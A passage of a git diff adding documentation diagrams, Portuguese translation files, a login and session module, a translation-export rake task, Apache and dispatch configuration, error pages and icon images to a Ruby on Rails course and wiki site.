b/doc/sequencia/pngs/jpg2pdf @@ -0,0 +1,7 @@ +#!/bin/sh +src_code=$1 +obj_name=`echo $1 | cut -d . -f 1` +echo "Gerando $obj_name" +jpeg2ps $src_code > $obj_name.eps +epstopdf $obj_name.eps +echo "Terminado" diff --git a/doc/sequencia/pngs/seq_attachment.png b/doc/sequencia/pngs/seq_attachment.png new file mode 100644 index 0000000..c33ae87 Binary files /dev/null and b/doc/sequencia/pngs/seq_attachment.png differ diff --git a/doc/sequencia/pngs/seq_course.png b/doc/sequencia/pngs/seq_course.png new file mode 100644 index 0000000..03fa1fb Binary files /dev/null and b/doc/sequencia/pngs/seq_course.png differ diff --git a/doc/sequencia/pngs/seq_event.png b/doc/sequencia/pngs/seq_event.png new file mode 100644 index 0000000..5085a6c Binary files /dev/null and b/doc/sequencia/pngs/seq_event.png differ diff --git a/doc/sequencia/pngs/seq_message.png b/doc/sequencia/pngs/seq_message.png new file mode 100644 index 0000000..8950f75 Binary files /dev/null and b/doc/sequencia/pngs/seq_message.png differ diff --git a/doc/sequencia/pngs/seq_user.png b/doc/sequencia/pngs/seq_user.png new file mode 100644 index 0000000..a07c38a Binary files /dev/null and b/doc/sequencia/pngs/seq_user.png differ diff --git a/doc/sequencia/pngs/seq_wiki.png b/doc/sequencia/pngs/seq_wiki.png new file mode 100644 index 0000000..6d2599c Binary files /dev/null and b/doc/sequencia/pngs/seq_wiki.png differ diff --git a/doc/sequencia/seq_attachment.jude b/doc/sequencia/seq_attachment.jude new file mode 100644 index 0000000..1cdb0d2 Binary files /dev/null and b/doc/sequencia/seq_attachment.jude differ diff --git a/doc/sequencia/seq_course.jude b/doc/sequencia/seq_course.jude new file mode 100644 index 0000000..460e44c Binary files /dev/null and b/doc/sequencia/seq_course.jude differ diff --git a/doc/sequencia/seq_event.jude b/doc/sequencia/seq_event.jude new file mode 100644 index 0000000..a2a4f5b Binary files /dev/null and b/doc/sequencia/seq_event.jude differ diff --git a/doc/sequencia/seq_message.jude b/doc/sequencia/seq_message.jude new file mode 100644 index 0000000..6026775 Binary files /dev/null and b/doc/sequencia/seq_message.jude differ diff --git a/doc/sequencia/seq_user.jude b/doc/sequencia/seq_user.jude new file mode 100644 index 0000000..49006ae Binary files /dev/null and b/doc/sequencia/seq_user.jude differ diff --git a/doc/sequencia/seq_wiki.jude b/doc/sequencia/seq_wiki.jude new file mode 100644 index 0000000..e999e74 Binary files /dev/null and b/doc/sequencia/seq_wiki.jude differ diff --git a/doc/uml.jude b/doc/uml.jude new file mode 100644 index 0000000..846b745 Binary files /dev/null and b/doc/uml.jude differ diff --git a/lang/keys b/lang/keys new file mode 100644 index 0000000..c967185 --- /dev/null +++ b/lang/keys @@ -0,0 +1,7 @@ +course_created +course_removed +course_updated +event_created +event_removed +event_updated +login_required diff --git a/lang/pt-br.yml b/lang/pt-br.yml new file mode 100644 index 0000000..1d8820a --- /dev/null +++ b/lang/pt-br.yml @@ -0,0 +1,65 @@ +course: disciplina +courses: disciplinas +course_created: Disciplina cadastrada +course_updated: Disciplina editada +course_removed: Disciplina excluída + +event: evento +events: eventos +event_created: Evento cadastrado +event_updated: Evento editado +event_removed: Evento excluído +event_restored: Evento restaurado + +news: notícias +news_created: Notícia cadastrada +news_updated: Notícia editada +news_removed: Notícia excluída +news_restored: Notícia restaurada +news_about: Notícias de {disciplina} + +user: usuário +users: usuários +user_account_updated: Perfil editado +user_account_removed: Conta removida +user_account_created: Conta cadastrada + +attachment_created: Arquivo criado +attachment_updated: Arquivo editado +attachment_removed: Arquivo excluído +attachment_restored: Arquivo restaurado + +wiki_page: Página wiki +wiki_page_created: Página wiki criada +wiki_page_removed: Página wiki removida +wiki_page_updated: Página wiki atualizada +wiki_page_restored: Página wiki restaurada + +undo: Desfazer +login_required: É necessário fazer login para acessar esta área do site + +navigation: navegação +forums: fórums + +user_profile: perfil público +edit_settings: editar configurações +settings_updated: Configurações editadas + +is_too_large: é grande demais +is_needed: é requerido + +body: conteúdo +code: código +content: conteúdo +date: data +description: descrição +file: arquivo +file_name: nome do arquivo +full_name: nome completo +name: nome +password_confirmation: confirmação de senha +password: senha +period: semestre +short_name: nome abreviado +time: horário +title: título diff --git a/lib/authentication_system.rb b/lib/authentication_system.rb new file mode 100644 index 0000000..689acd8 --- /dev/null +++ b/lib/authentication_system.rb @@ -0,0 +1,75 @@ +module AuthenticationSystem + protected + def require_login + @current_user = User.find(session[:user_id]) if session[:user_id] + respond_to do |format| + format.html { + login_by_token unless logged_in? + login_by_html unless logged_in? + } + format.xml { login_by_basic_auth } + end + end + + # Na navegacao por html, o login é feito diretamente no controller. Este método + # apenas verifica se o usuário já está logado ou não. Caso não esteja, ele é redirecionado. + def login_by_html + if !logged_in? + flash[:warning] = 'You must be logged in to access this section of the site'[:login_required] + session[:return_to] = request.request_uri + redirect_to :controller => 'users', :action => 'login' + end + end + + def login_by_basic_auth + authenticate_or_request_with_http_basic do |user_name, password| + @current_user = User.find_by_login_and_pass(user_name, password) + end + end + + def login_by_token + user = User.find_by_id_and_login_key(*cookies[:login_token].split(";")) if cookies[:login_token] + if !user.nil? + setup_session(user, true) + user.update_attribute(:last_seen, Time.now.utc) + end + end + + def setup_session(user, create_token = false) + @current_user = user + session[:user_id] = user.id + session[:topics] = session[:forums] = {} + cookies[:login_token] = { + :value => "#{user.id};#{user.reset_login_key!}", + :expires => 1.month.from_now.utc + } if create_token + end + + def destroy_session + session.delete + cookies.delete :login_token + end + + def redirect_to_stored + return_to = session[:return_to] + + if return_to + session[:return_to] = nil + redirect_to return_to + else + redirect_to '/' + end + end + + def logged_in? + !@current_user.nil? + end + + def admin? + logged_in? and @current_user.admin? + end +end + +class AccessDenied < Exception +end + diff --git a/lib/tasks/gibberish.rake b/lib/tasks/gibberish.rake new file mode 100644 index 0000000..7217bc8 --- /dev/null +++ b/lib/tasks/gibberish.rake @@ -0,0 +1,16 @@ +namespace :gibberish do + + # Bela gambiarra + desc "Exports all Gibberish translation keys" + task :export do + ENV['GIBBERISH_EXPORT'] = 'true' + + puts "Running tests ..." + `rake test 2> /dev/null` + + puts "Sorting keys ..." + $stderr.puts `sort lang/tmp_keys | uniq` + + `rm lang/tmp_keys` + end +end diff --git a/public/.htaccess b/public/.htaccess new file mode 100644 index 0000000..d3c9983 --- /dev/null +++ b/public/.htaccess @@ -0,0 +1,40 @@ +# General Apache options +AddHandler fastcgi-script .fcgi +AddHandler cgi-script .cgi +Options +FollowSymLinks +ExecCGI + +# If you don't want Rails to look in certain directories, +# use the following rewrite rules so that Apache won't rewrite certain requests +# +# Example: +# RewriteCond %{REQUEST_URI} ^/notrails.* +# RewriteRule .* - [L] + +# Redirect all requests not available on the filesystem to Rails +# By default the cgi dispatcher is used which is very slow +# +# For better performance replace the dispatcher with the fastcgi one +# +# Example: +# RewriteRule ^(.*)$ dispatch.fcgi [QSA,L] +RewriteEngine On + +# If your Rails application is accessed via an Alias directive, +# then you MUST also set the RewriteBase in this htaccess file. +# +# Example: +# Alias /myrailsapp /path/to/myrailsapp/public +# RewriteBase /myrailsapp + +RewriteRule ^$ index.html [QSA] +RewriteRule ^([^.]+)$ $1.html [QSA] +RewriteCond %{REQUEST_FILENAME} !-f +RewriteRule ^(.*)$ dispatch.cgi [QSA,L] + +# In case Rails experiences terminal errors +# Instead of displaying this message you can supply a file here which will be rendered instead +# +# Example: +# ErrorDocument 500 /500.html + +ErrorDocument 500 "

Application error

Rails application failed to start properly" \ No newline at end of file diff --git a/public/401.html b/public/401.html new file mode 100644 index 0000000..ef0470a --- /dev/null +++ b/public/401.html @@ -0,0 +1,29 @@ + + + + + + + Access denied (401) + + + + + +
+

Access denied

+
+ + diff --git a/public/404.html b/public/404.html new file mode 100644 index 0000000..eff660b --- /dev/null +++ b/public/404.html @@ -0,0 +1,30 @@ + + + + + + + The page you were looking for doesn't exist (404) + + + + + +
+

The page you were looking for doesn't exist.

+

You may have mistyped the address or the page may have moved.

+
+ + \ No newline at end of file diff --git a/public/422.html b/public/422.html new file mode 100644 index 0000000..b54e4a3 --- /dev/null +++ b/public/422.html @@ -0,0 +1,30 @@ + + + + + + + The change you wanted was rejected (422) + + + + + +
+

The change you wanted was rejected.

+

Maybe you tried to change something you didn't have access to.

+
+ + \ No newline at end of file diff --git a/public/500.html b/public/500.html new file mode 100644 index 0000000..0e9c14f --- /dev/null +++ b/public/500.html @@ -0,0 +1,30 @@ + + + + + + + We're sorry, but something went wrong (500) + + + + + +
+

We're sorry, but something went wrong.

+

We've been notified about this issue and we'll take a look at it shortly.

+
+ + \ No newline at end of file diff --git a/public/dispatch.cgi b/public/dispatch.cgi new file mode 100755 index 0000000..81c401b --- /dev/null +++ b/public/dispatch.cgi @@ -0,0 +1,10 @@ +#!/usr/bin/ruby18 + +require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT) + +# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, like: +# "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" -- otherwise performance is severely impaired +require "dispatcher" + +ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } if defined?(Apache::RubyRun) +Dispatcher.dispatch \ No newline at end of file diff --git a/public/dispatch.fcgi b/public/dispatch.fcgi new file mode 100755 index 0000000..58c6480 --- /dev/null +++ b/public/dispatch.fcgi @@ -0,0 +1,24 @@ +#!/usr/bin/ruby18 +# +# You may specify the path to the FastCGI crash log (a log of unhandled +# exceptions which forced the FastCGI instance to exit, great for debugging) +# and the number of requests to process before running garbage collection. +# +# By default, the FastCGI crash log is RAILS_ROOT/log/fastcgi.crash.log +# and the GC period is nil (turned off). A reasonable number of requests +# could range from 10-100 depending on the memory footprint of your app. +# +# Example: +# # Default log path, normal GC behavior. +# RailsFCGIHandler.process! +# +# # Default log path, 50 requests between GC. +# RailsFCGIHandler.process! nil, 50 +# +# # Custom log path, normal GC behavior. +# RailsFCGIHandler.process! '/var/log/myapp_fcgi_crash.log' +# +require File.dirname(__FILE__) + "/../config/environment" +require 'fcgi_handler' + +RailsFCGIHandler.process! diff --git a/public/dispatch.rb b/public/dispatch.rb new file mode 100755 index 0000000..81c401b --- /dev/null +++ b/public/dispatch.rb @@ -0,0 +1,10 @@ +#!/usr/bin/ruby18 + +require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT) + +# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, like: +# "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" -- otherwise performance is severely impaired +require "dispatcher" + +ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } if defined?(Apache::RubyRun) +Dispatcher.dispatch \ No newline at end of file diff --git a/public/favicon.ico b/public/favicon.ico new file mode 100644 index 0000000..e69de29 diff --git a/public/images/action/add.gif b/public/images/action/add.gif new file mode 100644 index 0000000..b29d13f Binary files /dev/null and b/public/images/action/add.gif differ diff --git a/public/images/action/arrow2_n.gif b/public/images/action/arrow2_n.gif new file mode 100644 index 0000000..e486539 Binary files /dev/null and b/public/images/action/arrow2_n.gif differ diff --git a/public/images/action/arrow2_s.gif b/public/images/action/arrow2_s.gif new file mode 100644 index 0000000..3659e66 Binary files /dev/null and b/public/images/action/arrow2_s.gif differ diff --git a/public/images/action/edit.gif b/public/images/action/edit.gif new file mode 100644 index 0000000..384b442 Binary files /dev/null and b/public/images/action/edit.gif differ diff --git a/public/images/action/subtract.gif b/public/images/action/subtract.gif new file mode 100644 index 0000000..22035e8 Binary files /dev/null and b/public/images/action/subtract.gif differ diff --git a/public/images/action/trash.gif b/public/images/action/trash.gif new file mode 100644 index 0000000..8d0d281 Binary files /dev/null and b/public/images/action/trash.gif differ diff --git a/public/images/action/undo.gif b/public/images/action/undo.gif new file mode 100644 index 0000000..6f953a0 Binary files /dev/null and b/public/images/action/undo.gif differ diff --git a/public/images/avatar.png b/public/images/avatar.png new file mode 100644 index 0000000..2f03860 Binary files /dev/null and b/public/images/avatar.png differ diff --git a/public/images/bg_body.png b/public/images/bg_body.png new file mode 100644 index 0000000..190d98a Binary files /dev/null and b/public/images/bg_body.png differ diff --git a/public/images/bg_menu.png b/public/images/bg_menu.png new file mode 100644 index 0000000..b5b4994 Binary files /dev/null and b/public/images/bg_menu.png differ diff --git a/public/images/bullet.gif b/public/images/bullet.gif new file mode 100644 index 0000000..ed3f751 Binary files /dev/null and b/public/images/bullet.gif differ diff --git a/public/images/footer_bg.png b/public/images/footer_bg.png new file mode 100644 index 0000000..3508027 Binary files /dev/null and b/public/images/footer_bg.png differ diff --git a/public/images/header_bg.png b/public/images/header_bg.png new file mode 100644 index 0000000..d92c14b Binary files /dev/null and b/public/images/header_bg.png differ diff --git a/public/images/loading.gif b/public/images/loading.gif new file mode 100644 index 0000000..02e0f4d Binary files /dev/null and b/public/images/loading.gif differ diff --git a/public/images/rails.png b/public/images/rails.png new file mode 100644 index 0000000..b8441f1 Binary files /dev/null and b/public/images/rails.png differ diff --git a/public/images/rascunho.png b/public/images/rascunho.png new file mode 100644 index 0000000..3a346c4 Binary files /dev/null and b/public/images/rascunho.png differ diff --git a/public/images/site_bg.png b/public/images/site_bg.png new file mode 100644 index 0000000..646ab8d Binary files /dev/null and b/public/images/site_bg.png differ diff --git a/public/images/tango/accessories-calculator.png b/public/images/tango/accessories-calculator.png new file mode 100644 index 0000000..9248971 Binary files /dev/null and b/public/images/tango/accessories-calculator.png differ diff --git a/public/images/tango/accessories-character-map.png b/public/images/tango/accessories-character-map.png new file mode 100644 index 0000000..5dd1124 Binary files /dev/null and b/public/images/tango/accessories-character-map.png differ diff --git a/public/images/tango/accessories-text-editor.png b/public/images/tango/accessories-text-editor.png new file mode 100644 index 0000000..188e1c1 Binary files /dev/null and b/public/images/tango/accessories-text-editor.png differ diff --git a/public/images/tango/address-book-new.png b/public/images/tango/address-book-new.png new file mode 100644 index 0000000..2098cfd Binary files /dev/null and b/public/images/tango/address-book-new.png differ diff --git a/public/images/tango/application-x-executable.png b/public/images/tango/application-x-executable.png new file mode 100644 index 0000000..003ded2 Binary files /dev/null and b/public/images/tango/application-x-executable.png differ diff --git a/public/images/tango/applications-accessories.png b/public/images/tango/applications-accessories.png new file mode 100644 index 0000000..c8d899c Binary files /dev/null and b/public/images/tango/applications-accessories.png differ diff --git a/public/images/tango/applications-development.png b/public/images/tango/applications-development.png new file mode 100644 index 0000000..4375227 Binary files /dev/null and b/public/images/tango/applications-development.png differ diff --git a/public/images/tango/applications-games.png b/public/images/tango/applications-games.png new file mode 100644 index 0000000..4ba874b Binary files /dev/null and b/public/images/tango/applications-games.png differ diff --git a/public/images/tango/applications-graphics.png b/public/images/tango/applications-graphics.png new file mode 100644 index 0000000..4bb955f Binary files /dev/null and b/public/images/tango/applications-graphics.png differ diff --git a/public/images/tango/applications-internet.png b/public/images/tango/applications-internet.png new file mode 100644 index 0000000..a588968 Binary files /dev/null and b/public/images/tango/applications-internet.png differ diff --git a/public/images/tango/applications-multimedia.png b/public/images/tango/applications-multimedia.png new file mode 100644 index 0000000..3e4ced5 Binary files /dev/null and b/public/images/tango/applications-multimedia.png differ diff --git a/public/images/tango/applications-office.png b/public/images/tango/applications-office.png new file mode 100644 index 0000000..f9b3bb9 Binary files /dev/null and b/public/images/tango/applications-office.png differ diff --git a/public/images/tango/applications-other.png b/public/images/tango/applications-other.png new file mode 100644 index 0000000..0d49f9d Binary files /dev/null and b/public/images/tango/applications-other.png differ diff --git a/public/images/tango/applications-system.png b/public/images/tango/applications-system.png new file mode 100644 index 0000000..d90ab66 Binary files /dev/null and b/public/images/tango/applications-system.png differ diff --git a/public/images/tango/appointment-new.png b/public/images/tango/appointment-new.png new file mode 100644 index 0000000..18b7c67 Binary files /dev/null and b/public/images/tango/appointment-new.png differ diff --git a/public/images/tango/audio-card.png b/public/images/tango/audio-card.png new file mode 100644 index 0000000..aaa7907 Binary files /dev/null and b/public/images/tango/audio-card.png differ diff --git a/public/images/tango/audio-input-microphone.png b/public/images/tango/audio-input-microphone.png new file mode 100644 index 0000000..53a0393 Binary files /dev/null and b/public/images/tango/audio-input-microphone.png differ diff --git a/public/images/tango/audio-volume-high.png b/public/images/tango/audio-volume-high.png new file mode 100644 index 0000000..ec8f00b Binary files /dev/null and b/public/images/tango/audio-volume-high.png differ diff --git a/public/images/tango/audio-volume-low.png b/public/images/tango/audio-volume-low.png new file mode 100644 index 0000000..4d7239f Binary files /dev/null and b/public/images/tango/audio-volume-low.png differ diff --git a/public/images/tango/audio-volume-medium.png b/public/images/tango/audio-volume-medium.png new file mode 100644 index 0000000..36ca7b0 Binary files /dev/null and b/public/images/tango/audio-volume-medium.png differ diff --git a/public/images/tango/audio-volume-muted.png b/public/images/tango/audio-volume-muted.png new file mode 100644 index 0000000..af5a97b Binary files /dev/null and b/public/images/tango/audio-volume-muted.png differ diff --git a/public/images/tango/audio-x-generic.png b/public/images/tango/audio-x-generic.png new file mode 100644 index 0000000..fd877cb Binary files /dev/null and b/public/images/tango/audio-x-generic.png differ diff --git a/public/images/tango/battery-caution.png b/public/images/tango/battery-caution.png new file mode 100644 index 0000000..53a27d1 Binary files /dev/null and b/public/images/tango/battery-caution.png differ diff --git a/public/images/tango/battery.png b/public/images/tango/battery.png new file mode 100644 index 0000000..8684e2a Binary files /dev/null and b/public/images/tango/battery.png differ diff --git a/public/images/tango/camera-photo.png b/public/images/tango/camera-photo.png new file mode 100644 index 0000000..1e8e886 Binary files /dev/null and b/public/images/tango/camera-photo.png differ diff --git a/public/images/tango/camera-video.png b/public/images/tango/camera-video.png new file mode 100644 index 0000000..98fc211 Binary files /dev/null and b/public/images/tango/camera-video.png differ diff --git a/public/images/tango/computer.png b/public/images/tango/computer.png new file mode 100644 index 0000000..c9cc93e Binary files /dev/null and b/public/images/tango/computer.png differ diff --git a/public/images/tango/contact-new.png b/public/images/tango/contact-new.png new file mode 100644 index 0000000..46573ff Binary files /dev/null and b/public/images/tango/contact-new.png differ diff --git a/public/images/tango/document-new.png b/public/images/tango/document-new.png new file mode 100644 index 0000000..4c3efdd Binary files /dev/null and b/public/images/tango/document-new.png differ diff --git a/public/images/tango/document-open.png b/public/images/tango/document-open.png new file mode 100644 index 0000000..69dd8d4 Binary files /dev/null and b/public/images/tango/document-open.png differ diff --git a/public/images/tango/document-print-preview.png b/public/images/tango/document-print-preview.png new file mode 100644 index 0000000..ab92a30 Binary files /dev/null and b/public/images/tango/document-print-preview.png differ diff --git a/public/images/tango/document-print.png b/public/images/tango/document-print.png new file mode 100644 index 0000000..35c37bd Binary files /dev/null and b/public/images/tango/document-print.png differ diff --git a/public/images/tango/document-properties.png b/public/images/tango/document-properties.png new file mode 100644 index 0000000..ab0e8ea Binary files /dev/null and b/public/images/tango/document-properties.png differ diff --git a/public/images/tango/document-save-as.png b/public/images/tango/document-save-as.png new file mode 100644 index 0000000..9bed143 Binary files /dev/null and b/public/images/tango/document-save-as.png differ diff --git a/public/images/tango/document-save.png b/public/images/tango/document-save.png new file mode 100644 index 0000000..22ff495 Binary files /dev/null and b/public/images/tango/document-save.png differ diff --git a/public/images/tango/drive-harddisk.png b/public/images/tango/drive-harddisk.png new file mode 100644 index 0000000..5c3b858 Binary files /dev/null and b/public/images/tango/drive-harddisk.png differ diff --git a/public/images/tango/drive-optical.png b/public/images/tango/drive-optical.png new file mode 100644 index 0000000..4ced6fe Binary files /dev/null and b/public/images/tango/drive-optical.png differ diff --git a/public/images/tango/drive-removable-media.png b/public/images/tango/drive-removable-media.png new file mode 100644 index 0000000..9153898 Binary files /dev/null and b/public/images/tango/drive-removable-media.png differ diff --git a/public/images/tango/edit-clear.png b/public/images/tango/edit-clear.png new file mode 100644 index 0000000..e6c8e8b Binary files /dev/null and b/public/images/tango/edit-clear.png differ diff --git a/public/images/tango/edit-copy.png b/public/images/tango/edit-copy.png new file mode 100644 index 0000000..8dd48c4 Binary files /dev/null and b/public/images/tango/edit-copy.png differ diff --git a/public/images/tango/edit-cut.png b/public/images/tango/edit-cut.png new file mode 100644 index 0000000..dc9eb9a Binary files /dev/null and b/public/images/tango/edit-cut.png differ diff --git a/public/images/tango/edit-delete.png b/public/images/tango/edit-delete.png new file mode 100644 index 0000000..ea03150 Binary files /dev/null and b/public/images/tango/edit-delete.png differ diff --git a/public/images/tango/edit-find-replace.png b/public/images/tango/edit-find-replace.png new file mode 100644 index 0000000..6edbef6 Binary files /dev/null and b/public/images/tango/edit-find-replace.png differ diff --git a/public/images/tango/edit-find.png b/public/images/tango/edit-find.png new file mode 100644 index 0000000..d072d3c Binary files /dev/null and b/public/images/tango/edit-find.png differ diff --git a/public/images/tango/edit-paste.png b/public/images/tango/edit-paste.png new file mode 100644 index 0000000..24588a3 Binary files /dev/null and b/public/images/tango/edit-paste.png differ diff --git a/public/images/tango/edit-redo.png b/public/images/tango/edit-redo.png new file mode 100644 index 0000000..c3b0df0 Binary files /dev/null and b/public/images/tango/edit-redo.png differ diff --git a/public/images/tango/edit-select-all.png b/public/images/tango/edit-select-all.png new file mode 100644 index 0000000..f4b0b19 Binary files /dev/null and b/public/images/tango/edit-select-all.png differ diff --git a/public/images/tango/edit-undo.png b/public/images/tango/edit-undo.png new file mode 100644 index 0000000..8b0fef9 Binary files /dev/null and b/public/images/tango/edit-undo.png differ diff --git a/public/images/tango/emblem-favorite.png b/public/images/tango/emblem-favorite.png new file mode 100644 index 0000000..3acb57d Binary files /dev/null and b/public/images/tango/emblem-favorite.png differ diff --git a/public/images/tango/emblem-important.png b/public/images/tango/emblem-important.png new file mode 100644 index 0000000..81e9ed2 Binary files /dev/null and b/public/images/tango/emblem-important.png differ diff --git a/public/images/tango/emblem-photos.png b/public/images/tango/emblem-photos.png new file mode 100644 index 0000000..ab40463 Binary files /dev/null and b/public/images/tango/emblem-photos.png differ diff --git a/public/images/tango/emblem-readonly.png b/public/images/tango/emblem-readonly.png new file mode 100644 index 0000000..0466619 Binary files /dev/null and b/public/images/tango/emblem-readonly.png differ diff --git a/public/images/tango/emblem-symbolic-link.png b/public/images/tango/emblem-symbolic-link.png new file mode 100644 index 0000000..800b9e8 Binary files /dev/null and b/public/images/tango/emblem-symbolic-link.png differ diff --git a/public/images/tango/emblem-system.png b/public/images/tango/emblem-system.png new file mode 100644 index 0000000..259ed26 Binary files /dev/null and b/public/images/tango/emblem-system.png differ diff --git a/public/images/tango/emblem-unreadable.png b/public/images/tango/emblem-unreadable.png new file mode 100644 index 0000000..93edaf0 Binary files /dev/null and b/public/images/tango/emblem-unreadable.png differ diff --git a/public/images/tango/face-angel.png b/public/images/tango/face-angel.png new file mode 100644 index 0000000..d2c5e94 Binary files /dev/null and b/public/images/tango/face-angel.png differ diff --git a/public/images/tango/face-crying.png b/public/images/tango/face-crying.png new file mode 100644 index 0000000..a7e3f49 Binary files /dev/null and b/public/images/tango/face-crying.png differ diff --git a/public/images/tango/face-devilish.png b/public/images/tango/face-devilish.png new file mode 100644 index 0000000..8e2cd45 Binary files /dev/null and b/public/images/tango/face-devilish.png differ diff --git a/public/images/tango/face-kiss.png b/public/images/tango/face-kiss.png new file mode 100644 index 0000000..809c1cf Binary files /dev/null and b/public/images/tango/face-kiss.png differ diff --git a/public/images/tango/face-monkey.png b/public/images/tango/face-monkey.png new file mode 100644 index 0000000..69db8fa Binary files /dev/null and b/public/images/tango/face-monkey.png differ diff --git a/public/images/tango/face-plain.png b/public/images/tango/face-plain.png new file mode 100644 index 0000000..a6761bd Binary files /dev/null and b/public/images/tango/face-plain.png differ diff --git a/public/images/tango/face-sad.png b/public/images/tango/face-sad.png new file mode 100644 index 0000000..fa25895 Binary files /dev/null and b/public/images/tango/face-sad.png differ diff --git a/public/images/tango/face-smile-big.png b/public/images/tango/face-smile-big.png new file mode 100644 index 0000000..4cebcff Binary files /dev/null and b/public/images/tango/face-smile-big.png differ diff --git a/public/images/tango/face-smile.png b/public/images/tango/face-smile.png new file mode 100644 index 0000000..01e0117 Binary files /dev/null and b/public/images/tango/face-smile.png differ diff --git a/public/images/tango/face-surprise.png b/public/images/tango/face-surprise.png new file mode 100644 index 0000000..863f304 Binary files /dev/null and b/public/images/tango/face-surprise.png differ diff --git a/public/images/tango/face-wink.png b/public/images/tango/face-wink.png new file mode 100644 index 0000000..46be685 Binary files /dev/null and b/public/images/tango/face-wink.png differ diff --git a/public/images/tango/folder-new.png b/public/images/tango/folder-new.png new file mode 100644 index 0000000..628f4d5 Binary files /dev/null and b/public/images/tango/folder-new.png differ diff --git a/public/images/tango/folder-remote.png b/public/images/tango/folder-remote.png new file mode 100644 index 0000000..8f1f0a9 Binary files /dev/null and b/public/images/tango/folder-remote.png differ diff --git a/public/images/tango/folder.png b/public/images/tango/folder.png new file mode 100644 index 0000000..901edc9 Binary files /dev/null and b/public/images/tango/folder.png differ diff --git a/public/images/tango/font-x-generic.png b/public/images/tango/font-x-generic.png new file mode 100644 index 0000000..bdbc1a8 Binary files /dev/null and b/public/images/tango/font-x-generic.png differ diff --git a/public/images/tango/format-indent-less.png b/public/images/tango/format-indent-less.png new file mode 100644 index 0000000..1787a7f Binary files /dev/null and b/public/images/tango/format-indent-less.png differ diff --git a/public/images/tango/format-indent-more.png b/public/images/tango/format-indent-more.png new file mode 100644 index 0000000..6bad6bb Binary files /dev/null and b/public/images/tango/format-indent-more.png differ diff --git a/public/images/tango/format-justify-center.png b/public/images/tango/format-justify-center.png new file mode 100644 index 0000000..207dc4c Binary files /dev/null and b/public/images/tango/format-justify-center.png differ diff --git a/public/images/tango/format-justify-fill.png b/public/images/tango/format-justify-fill.png new file mode 100644 index 0000000..663cbad Binary files /dev/null and b/public/images/tango/format-justify-fill.png differ diff --git a/public/images/tango/format-justify-left.png b/public/images/tango/format-justify-left.png new file mode 100644 index 0000000..d9b40a7 Binary files /dev/null and b/public/images/tango/format-justify-left.png differ diff --git a/public/images/tango/format-justify-right.png b/public/images/tango/format-justify-right.png new file mode 100644 index 0000000..c301307 Binary files /dev/null and b/public/images/tango/format-justify-right.png differ diff --git a/public/images/tango/format-text-bold.png b/public/images/tango/format-text-bold.png new file mode 100644 index 0000000..c9cb630 Binary files /dev/null and b/public/images/tango/format-text-bold.png differ diff --git a/public/images/tango/format-text-italic.png b/public/images/tango/format-text-italic.png new file mode 100644 index 0000000..977ea82 Binary files /dev/null and b/public/images/tango/format-text-italic.png differ diff --git a/public/images/tango/format-text-strikethrough.png b/public/images/tango/format-text-strikethrough.png new file mode 100644 index 0000000..ccee76e Binary files /dev/null and b/public/images/tango/format-text-strikethrough.png differ diff --git a/public/images/tango/format-text-underline.png b/public/images/tango/format-text-underline.png new file mode 100644 index 0000000..0c48721 Binary files /dev/null and b/public/images/tango/format-text-underline.png differ diff --git a/public/images/tango/go-bottom.png b/public/images/tango/go-bottom.png new file mode 100644 index 0000000..2c5a803 Binary files /dev/null and b/public/images/tango/go-bottom.png differ diff --git a/public/images/tango/go-down.png b/public/images/tango/go-down.png new file mode 100644 index 0000000..3dd7fcc Binary files /dev/null and b/public/images/tango/go-down.png differ diff --git a/public/images/tango/go-first.png b/public/images/tango/go-first.png new file mode 100644 index 0000000..9c15c09 Binary files /dev/null and b/public/images/tango/go-first.png differ diff --git a/public/images/tango/go-home.png b/public/images/tango/go-home.png new file mode 100644 index 0000000..a46fb22 Binary files /dev/null and b/public/images/tango/go-home.png differ diff --git a/public/images/tango/go-jump.png b/public/images/tango/go-jump.png new file mode 100644 index 0000000..1d218c3 Binary files /dev/null and b/public/images/tango/go-jump.png differ diff --git a/public/images/tango/go-last.png b/public/images/tango/go-last.png new file mode 100644 index 0000000..6e904ef Binary files /dev/null and b/public/images/tango/go-last.png differ diff --git a/public/images/tango/go-next.png b/public/images/tango/go-next.png new file mode 100644 index 0000000..6ef8de7 Binary files /dev/null and b/public/images/tango/go-next.png differ diff --git a/public/images/tango/go-previous.png b/public/images/tango/go-previous.png new file mode 100644 index 0000000..659cd90 Binary files /dev/null and b/public/images/tango/go-previous.png differ diff --git a/public/images/tango/go-top.png b/public/images/tango/go-top.png new file mode 100644 index 0000000..70f2c99 Binary files /dev/null and b/public/images/tango/go-top.png differ diff --git a/public/images/tango/go-up.png b/public/images/tango/go-up.png new file mode 100644 index 0000000..fa9a7d7 Binary files /dev/null and b/public/images/tango/go-up.png differ diff --git a/public/images/tango/help-browser.png b/public/images/tango/help-browser.png new file mode 100644 index 0000000..f25fc3f Binary files /dev/null and b/public/images/tango/help-browser.png differ diff --git a/public/images/tango/image-x-generic.png b/public/images/tango/image-x-generic.png new file mode 100644 index 0000000..68da502 Binary files /dev/null and b/public/images/tango/image-x-generic.png differ diff --git a/public/images/tango/input-gaming.png b/public/images/tango/input-gaming.png new file mode 100644 index 0000000..9d040ee Binary files /dev/null and b/public/images/tango/input-gaming.png differ diff --git a/public/images/tango/input-keyboard.png b/public/images/tango/input-keyboard.png new file mode 100644 index 0000000..29cd639 Binary files /dev/null and b/public/images/tango/input-keyboard.png differ diff --git a/public/images/tango/input-mouse.png b/public/images/tango/input-mouse.png new file mode 100644 index 0000000..eeda4db Binary files /dev/null and b/public/images/tango/input-mouse.png differ diff --git a/public/images/tango/list-add.png b/public/images/tango/list-add.png new file mode 100644 index 0000000..1aa7f09 Binary files /dev/null and b/public/images/tango/list-add.png differ diff --git a/public/images/tango/list-remove.png b/public/images/tango/list-remove.png new file mode 100644 index 0000000..00b654e Binary files /dev/null and b/public/images/tango/list-remove.png differ diff --git a/public/images/tango/mail-forward.png b/public/images/tango/mail-forward.png new file mode 100644 index 0000000..de0199b Binary files /dev/null and b/public/images/tango/mail-forward.png differ diff --git a/public/images/tango/mail-mark-junk.png b/public/images/tango/mail-mark-junk.png new 